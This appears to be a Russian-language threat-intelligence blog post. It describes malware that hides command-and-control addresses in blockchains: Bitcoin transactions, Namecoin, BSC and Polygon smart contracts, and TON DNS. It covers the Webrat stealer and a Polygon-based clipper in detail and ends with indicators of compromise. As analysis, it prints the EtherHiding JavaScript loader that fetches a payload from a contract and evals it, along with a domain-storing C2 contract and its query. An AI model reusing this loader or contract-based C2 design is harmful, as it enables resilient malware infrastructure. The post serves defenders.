Genesis Block 0x0

Вы читаете это. Значит, вы получили нашу транзакцию об использовании Blockchain в черных делах сетевых злоумышленников и вирусописателей.

Появление криптовалюты стало значительным событием в истории интернета. Криптовалюта, в отличие от обычных денег, дала пользователю возможность почти абсолютной анонимизации финансовых транзакций в сети, но такие же возможности она дала и киберпреступникам. Более того, в случае с Blockchain цифровые злоумышленники прибегли к одному из излюбленных способов организации деятельности — использованию технологий не по их прямому назначению.

Речь идет о Blockchain Dead Drop — механизме, используемом во вредоносном ПО, при котором вредонос находит свой управляющий сервер (C2) через обращения к сервисам блокчейна.

О механике известно сравнительно давно, но в последнее время мы стали чаще обнаруживать новые реализации техники, в частности через инфраструктуру сети TON. В этой статье мы сделаем обзор старых техник использования Blockchain и расскажем о новых случаях: на примере стилера Webrat, который использует TON DNS, и нового, пока безымянного клипера, замеченного в использовании смарт-контрактов Polygon.

Также мы рассмотрим и DNS на основе смартконтрактов, которое используются атакующими для сокрытия вредоносных действий. Статью начнем с обзора старого, но если вам интересны новые примеры, то смело переходите в раздел «Что нового».

История вопроса

Block 0x1 — Cerber Ransomware (2016)

Вымогатель Cerber — один из самых ранних образцов вредоносного ПО, использовавших блокчейн как способ определения С2. Cerber был впервые обнаружен в начале 2016 года. Помимо уникального для того времени способа получения C2, Cerber мог потребовать деньги у жертвы не текстом, а вслух.

Определение управляющего сервера производилось по транзакциям Bitcoin. Вредонос получал транзакции определенного кошелька. Его интересовали адреса кошельков, участвовавших в транзакциях с изначальным кошельком.

Первые 6 символов адреса кошелька получателя были именем домена в зоне .top, который в свою очередь был Tor2Web-шлюзом для коммуникации с реальным управляющим сервером через сеть Tor. Транзакции между изначальным кошельком и кошельками с доменом совершались в случайное время, а сумма тут же возвращалась назад.

Block 0x2 — Glupteba (2019)

Glupteba — троян, способный подгружать различные модули, использующий транзакции Bitcoin для получения С2. Если Cerber использовал адрес кошелька, то Glupteba получал информацию, сохраненную в транзакции, с помощью инструкции OP_RETURN. Так Bitcoin позволяет сохранить до 80 байт информации в транзакции.

Троян исполнял команду discoverDomain через electrum-сервера и запрашивал историю блокчейна для скрипта с заранее заданным хешем. Это позволяло получить связанные транзакции, которые обрабатывались в поисках OP_RETURN. С2 обычно был зашифрован с помощью захардкоженного AES, а позже XOR-ключа.

Block 0x3 — Namecoin (2019)

Одной из первых блокчейн-технологий, позволявших владеть независимым доменом, был Namecoin. А одной из первых группировок, использовавшей его, была RTM. Namecoin был основан на технологии криптовалюты Bitcoin. Он позволял хранить произвольные пары ключа и значения. Другим новшеством была возможность управления доменными именами без какого-либо контроля со стороны провайдеров. Его домены находились в зоне .bit и были доступны через шлюзы или с использованием специальных плагинов. Для регистрации домена необходимо было зарегистрировать ключ, начинающийся на d/. Данные домена задавать значение в формате JSON:

{"myip": ["1.1.1.1"]}

Namecoin предоставлял незамысловатый интерфейс управления доменами. В распоряжении админа домена было три команды:

  • NAME_NEW — анонс имени;
  • NAME_FIRSTUPDATE — публикация имени и установка его значения;
  • NAME_UPDATE — продление домена и любое изменение записи.

Использование децентрализованного DNS позволило операторам ботнетов обходить ограничения и блокировки провайдеров. Домены, зарегистрированные таким способом, показали поразительную выживаемость, несмотря на многочисленные отчеты исследователей.

Block 0x4 — EtherHiding (2023)

EtherHiding — оригинальный способ хранения кода в блокчейне с использованием смартконтрактов. Впервые использован CLEARFAKE, а также адаптирован DPRK. CLEARFAKE распространялся через взломанные сайты WordPress и использовал контракты Binance Smart Chain.

Атакующие внедряли вредоносный загрузчик на JavaScript в страницы скомпрометированных сайтов, который подгружал и исполнял нагрузку следующей стадии, которую он получал с С2. Это делает возможным изменять содержание страницы или отображать фишинговые страницы. Нововведением стало внедрение смартконтрактов в цепочку вредоноса, теперь нагрузка второй стадии загружалась с использованием Binance Smart Chain.

    
async function load() {
    let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
        signer = provider.getSigner(),
        address = "0x7f36D9292e7c70A204faCC2d255475A861487c60",
        ABI = [
            { inputs: [{ internalType: "string", .......},
            { inputs: [], name: "get", ......},
            { inputs: [], name: "link", ....... },
        ],
        contract = new ethers.Contract(address, ABI, provider),
        link = await contract.get();
    eval(atob(link));
}
window.onload = load;
    

Фрагмент с обращением к блокчейну

Данный код обращается к смартконтракту, получает и исполняет полезную нагрузку второго этапа. Это позволяет злоумышленникам обновлять хранимую нагрузку без изменения самого вредоносного кода и делает такое хранилище устойчивым к традиционным методам удаления вредоносного контента.

Block 0x5 — TonResolver (2026)

TonResolver представляет собой обфусцированный вредонос на JavaScript. Он использует сеть TON для получения своего управляющего сервера. В отличие от старых сетей вроде Blockchain, TON позволяет разрабатывать и разворачивать в сети свои контракты. TonResolver использует свой кастомный контракт, хранящий C2.

    
wallet_id: 2147483409
valid_until: 1771601041
seqno: 2
actions:
  - magic: "0xec3c86d"
    mode: 3
    msg:
      sum_type: MessageInternal
      message_internal:
        ihr_disabled: true
        bounce: true
        bounced: false
        src: ""
        dest: 0:c66119f0e5635c4380441d7a79baf0c02a0ab7ea6cd78de06507fc5dc2c1a5d9 B
        value:
          grams: "10000000"
          other: {}
        ihr_fee: "0"
        fwd_fee: "0"
        created_lt: 0
        created_at: 0
        init: null
        body:
          is_right: false
          value:
            sum_type: Unknown
            op_code: 398346703
            value: b5ee9c7201010201002000011017be49cf000000130100267a6c6f61706f62696b61687932332e626f6e64
    

Транзакция установки домена

Злоумышленники могут вызывать смарткотракт и устанавливать новый домен. Сами контейнеры хранящие сервер устроены следующим образом.

Структура Роль данных и интерпретация
b5ee9c72 Магическое число блокчейна TON
010102010020 Заголовок BOC
000110 Информация, связанная с размером/структурой данных первой ячейки
17be49cf op_code — код операции смарт-контракта
00000013 Поле размера последующих данных
01 Ссылка на следующую ячейку
0026 Информация о размере данных следующей ячейки
7a6c6f61706f62696b61687932332e626f6e64 Hex-кодированная ASCII-строка zloapobikahy23[.]bond

Контракты могут играть роль умного C2 для вредоносного ПО. В данном случае TONResolver получал свой домен, используя метод get_domain. Метод возвращал значение домена в раскодированном виде.

Block 0x6 — TrickMo (2026)

TrickMo — это недавно обнаруженный банковский троян, использующий TON overlay для соединения со своим управляющим сервером.

Децетрализованный интернет TON поддерживает обращения по ADNL адресу и доменам .ton.”

Обыкновенно резолв .ton домена в сети TON устроен как иерархическая система смарт-контрактов. Он состоит в исполнении dnsresolve нескольких смарт-контрактов начиная с главного, который является частью конфигурации, используемой клиентами TON. Всего в DNS TON может быть 4 записи:

  • site — содержащий ADNL-адрес;
  • storage — запись в хранилище TON Storage;
  • wallet — кошелек;
  • dns_next_resolver — следующий контракт.

Для взаимодействия между участниками сети TON используется ADNL — P2P-протокол, работающий поверх UDP и TCP. IP и порт в сети TON используются для установления конечного P2P-соединения, тогда как на уровне ADNL взаимодействие может осуществляться по абстрактному адресу. ADNL-адрес связан с криптографическим ключом узла. В упрощенном виде он вычисляется как SHA-256(type_id || public_key).

Для определения реального адреса в сети TON используется распределенная хеш-таблица (DHT) — kademlia-подобная система, которая позволяет сопоставлять ADNL-идентификатор с сетевым адресом.

Из браузера сайты TON доступны при настройке TON proxy. А также каждый пользователь Telegram может открыть сайт через встроенный браузер. Это делает сеть TON более доступным для обычных пользователей и злоумышленников.

В случае TrickMo связь c С2 осуществлялась через встроенный TON proxy, который троян поднимал на loopback. Каждая команда отправлялась по adnl адресу на инфраструктуру злоумышленника.

Использование overlay-сети позволяют злоумышленникам скрыть коммуникации от мониторинга и увеличивает время до обнаружения компрометации. Трафик такого соединения может выглядеть как соединение с разными нодами связанными с сетью TON.

Что нового?

Недавно мы обнаружили два новых примера использования технологий Blockchain для сокрытия коммуникаций с серверами управления. Ниже опишем их и некоторые другие результаты нашего небольшого исследования.

Block 0x7 — Ton Domain (Webrat aka SalatStealer)

Стилер Webrat в новой версии получил обновление и обзавелся Blockchain Dead Drop. К обычным управляющим серверам добавились еще и домены TON и ссылки для их резолва.

    
{
"8991228": "https://salator[.]es/sa1at/",
"8991744": "https://wruser[.]org/sa1at/",
"8992260": "https://websalat[.]top/sa1at/",
"8992776": "https://sa1atik[.]cn/sa1at/",
"8993292": "https://wruser[.]org:992/sa1at/",
"8994324": "https://tonapi[.]io/v2/dns/remoteadministratortool.ton/resolve",
"8993808": "https://tonapi[.]io/v2/dns/webratpanel.ton/resolve",
"8995356": "webratxaye1[.]ton",
"8994840": "shyetootval[.]ton"
}
    

Извлеченные С2-адреса нового Webrat

Всего было выявлено четыре домена, принадлежащих разным адресам.

address UQBLZSj-AcJDK7RmpEsCs4NT0ZQWLqtgThoMroSY_PukzG9X
raw 0:4b6528fe01c2432bb466a44b02b38353d194162eab604e1a0cae8498fcfba4cc
domains webratpanel[.]ton, shyetootval[.]ton
 
address UQA0D-0F22rw_m99RagEp13CeiUM5ijJ8eLibVMPTUPd3Awn
raw 0:340fed05db6af0fe6f7d45a804a75dc27a250ce628c9f1e2e26d530f4d43dddc
domains remoteadministratortool[.]ton
 
address UQAQiwpf6ROYs2FoNcXzC0zLPEr5AXan7JguMvlPX1R2qpeW
raw 0:108b0a5fe91398b3616835c5f30b4ccb3c4af90176a7ec982e32f94f5f5476aa
domains webratxaye1[.]ton

С помощью TONAPI мы можем запросить более подробную информацию о каждом домене. Из этой записи мы можем узнать владельца и адрес контракта домена. Обычный контракт домена имеет следующие методы:

Домен в сети TON может быть использован множеством способов. Суть похожа на Namecoin, однако смарт-контракты и архитектура TON добавляют новые возможности, о которых рассказывали выше(Cм. Block 0x6).

Конкретно Webrat используют домен как хранилище адреса кошелька. При этом сам адрес кошелька не принадлежит злоумышленникам, он лишь кодирует в hex нужный IP 168[.]222[.]202[.]171.

Это позволяет избежать заметных DNS-запросов и получить IP управляющего сервиса через легитимный сервис TON API. Что усложняет блокировку и обнаружение вредоносной активности Webrat.

Резолв домена webratpanel.ton
Резолв домена webratpanel.ton

Анализ криптовалютных транзакций

В процессе изучения новой инфраструктуры Webrat нам удалось провести небольшой анализ финансовых транзакций, связанных с этим вредоносом. Мы выявили адреса, на которые группировка NyashTeam (разрабатывает и продает Webrat) получает плату за аренду их вредоносного ПО.

Ниже мы составили небольшую карту транзакций. Розовые адреса получают много переводов от различных адресов на суммы примерно эквивалентные 1500 рублей. Суммы примерно равны между собой, поскольку, именно такова цена лицензии на ВПО. Мы смогли установить, что часть ранее известных пользователей Webrat как раз переводила на эти кошельки оплаты.

Поступающая оплата
Поступающая оплата

Из розовых адресов происходят транзакции пополнения черных адресов, которые уже являются владельцами доменов. Для оплаты, как мы выявили, использовалось несколько кошельков.

До мая для оплаты использовался для оплаты использовался UQDEQfGNb5_-i6Pk8ymvhQH7MR-rXw77fpbZJfeRqJ4EUU-9. A 17 мая всё было выведено на UQAOTRpaD2d_cyq3CwYZajkCQgyTC99QabfdHutCg3ExGWh9.

Кошелёк UQBUswP14HYFjd5awh_c0vCZaxUnkfp9pRnJowUSwMyouPNY использовался в июне,а потом с него всё было выведено на UQCNbPD3069dnI_oLo_simYDRV5ZAOVddQKj5TG9y_o_PziK, где средства находятся до сих пор. Сейчас баланс составляет 5000 USDT.

Карта транзакций
Карта транзакций

Легенда:

  • Розовые — адреса, на которые приходит оплата
  • Черные — адреса с доменами
  • Зеленые — сервисы
  • Фиолетовые — известные пользователи Webrat

Block 0x8 — Aeternum

Во втором случае нам попался клипер (ВПО для перехвата и подмены данных буфера обмена), использующий смарт-контракты Polygon для получения управляющего сервера (подробную статью об этом клипере мы опубликуем позже). Злоумышленники используют обфусцированные контракты по похожему с доменами TON принципу. Эти контракты точно так же реализуют получение домена и его смену. Один из первых подобных контрактов использовался в клипере, который мы нашли и исследовали. Мы обнаружили более 600 контрактов, имеющих похожую функциональность.

После исследования контрактов мы можем предположить, что данный образец, видимо, входит в парк ВПО ботнета Aeternum. Связь состоит в использовании аналогичного контракта c методом getDomain() — 0xb68d1809.

Методы контракта
Методы контракта

Контракт написан на Solidity и скомпилирован в EVM-байт-код. Контракт имеет публичные методы, которые также можно вызывать через определенные значения.

Контракты размещаются без открытого исходного кода в виде байт-кода. Однако даже без глубокого исследования можно определить новый установленный C2, так как он устанавливается в plaintext.

Транзакция UpdateDomain с plaintext С2
Транзакция UpdateDomain с plaintext С2

Встроенные сервисы Polygon не всегда могут декомпилировать контракт, однако его код можно посмотреть в альтернативных браузерах контрактов. Принцип его работы аналогичен рассмотренным ранее. Он сохраняет новый домен в Storage вместо старого и создает событие смены домена. При этом проверяются администраторские привилегии.

    
address private _admin;
string private _currentDomain;

function updateDomain(string calldata newDomain) public {
    require(msg.sender == _admin, ":'(");

    string memory oldDomain = _currentDomain;
    _currentDomain = newDomain;

    emit DomainUpdated(oldDomain, newDomain);
}

function getDomain() public view returns (string memory) {
    return _currentDomain;
}

function currentDomain() public view returns (string memory) {
    return _currentDomain;
}
    

Упрощенный вид контракта

Для получения домена вредонос отправляет запрос на эмуляцию контракта, которая не требует уплаты gas (комиссии за исполнение контракта).

    
{
  "jsonrpc": "2.0",
  "method": "eth_call",
  "params": [
    {
      "to": "0xB860F3E36C0372B20D58824B4E22546029DF5AC1",
      "data": "0xb68d1809"
    },
    "latest"
  ],
  "id": 1
}
    

Также мы обнаружили альтернативное использование этих контрактов. Некоторые версии вредоноса используют зашифрованные контейнеры Salted__ | 8-byte salt | ciphertext как домен. Скорее всего, на стороне вредоноса в данном случае реализуется функция расшифровки таких строк.

Контракт с криптоконтейнером
Контракт с криптоконтейнером

Заключение

Смарт-контракты и блокчейн, судя по всему, считаются среди злоумышленников перспективным направлением. Контракты способны исполнять некоторый код и быть «умным» хранилищем C2. Также можно отметить, что новые децентрализованные сети позволяют злоумышленникам не беспокоиться о захвате или блокировке инфраструктуры. Иногда какое-либо воздействие на С2 без блокировки легитимных ресурсов невозможно в принципе, как, например, в случае с сетью TON.

Все это создает новые вызовы для Blue team. Сокрытие инфраструктуры в транзакциях и смарт-контрактах блокчейна усложняет определение C&C, а децентрализованные сети в некоторой степени сокращают возможности СЗИ эффективно бороться с атакующими. По этим причинам наличие в корпоративном трафике признаков, что кто-то или что-то слишком часто использует сервисы и API для работы с блокчейном, должно стало предупреждением и поводом расследовать обстоятельства этого использования.

IOC

Files

Webrat

caa67a94c8efc07901cae650f3356e0e
f191ec6defcce85bc02345895c6b5aee7fe82871
9d648752f1097d61e43849b36345ed47fc3c262e52a8e32d66529db88adcddcf
f5435a2c6f0bbde57e74853f129e519a
31370b4b3e5dedb03a331404405bdafd38ef61a0
c2b76fe053d537d9a5254d11497b187de3348511f14c5d8cde4fb0400b35f446
b72ba6d24aec5e8823a00e1d11965930
6570867f14658a21c5d1a24b0c60ea09e944c7e0
e0017f790da8a38990e0b38ea23ef0a507cd890cf403620f72c9f6415501d3da
548312c51c75ef5e736f18b2281753da
fbd9432cc922bd4209143e9454aefd1abac28db1
d5074765f3f0188d7c09593ba627f3cdd984c58b2a2b329ae67215d886e9a751

Cliper

3b87d155d89f7fe56279e243a93019dd
a815420108ebab59e18b9d7dadb7b7f592648e39
585bbb68e8f031df6aecef75608b2965ac8e35e2e6f1ef7f701476659057d54c

Domains

salator[.]es
wruser[.]org
websalat[.]top
sa1atik[.]cn
wruser[.]org
saas-stash[.]beer
obx-stash[.]beer
dark-strong[.]beer
clip-stash[.]beer

Ton Domains

webratxaye1[.]ton
shyetootval[.]ton
webratpanel[.]ton
remoteadministratortool[.]ton

IPs

168.222.202[.]171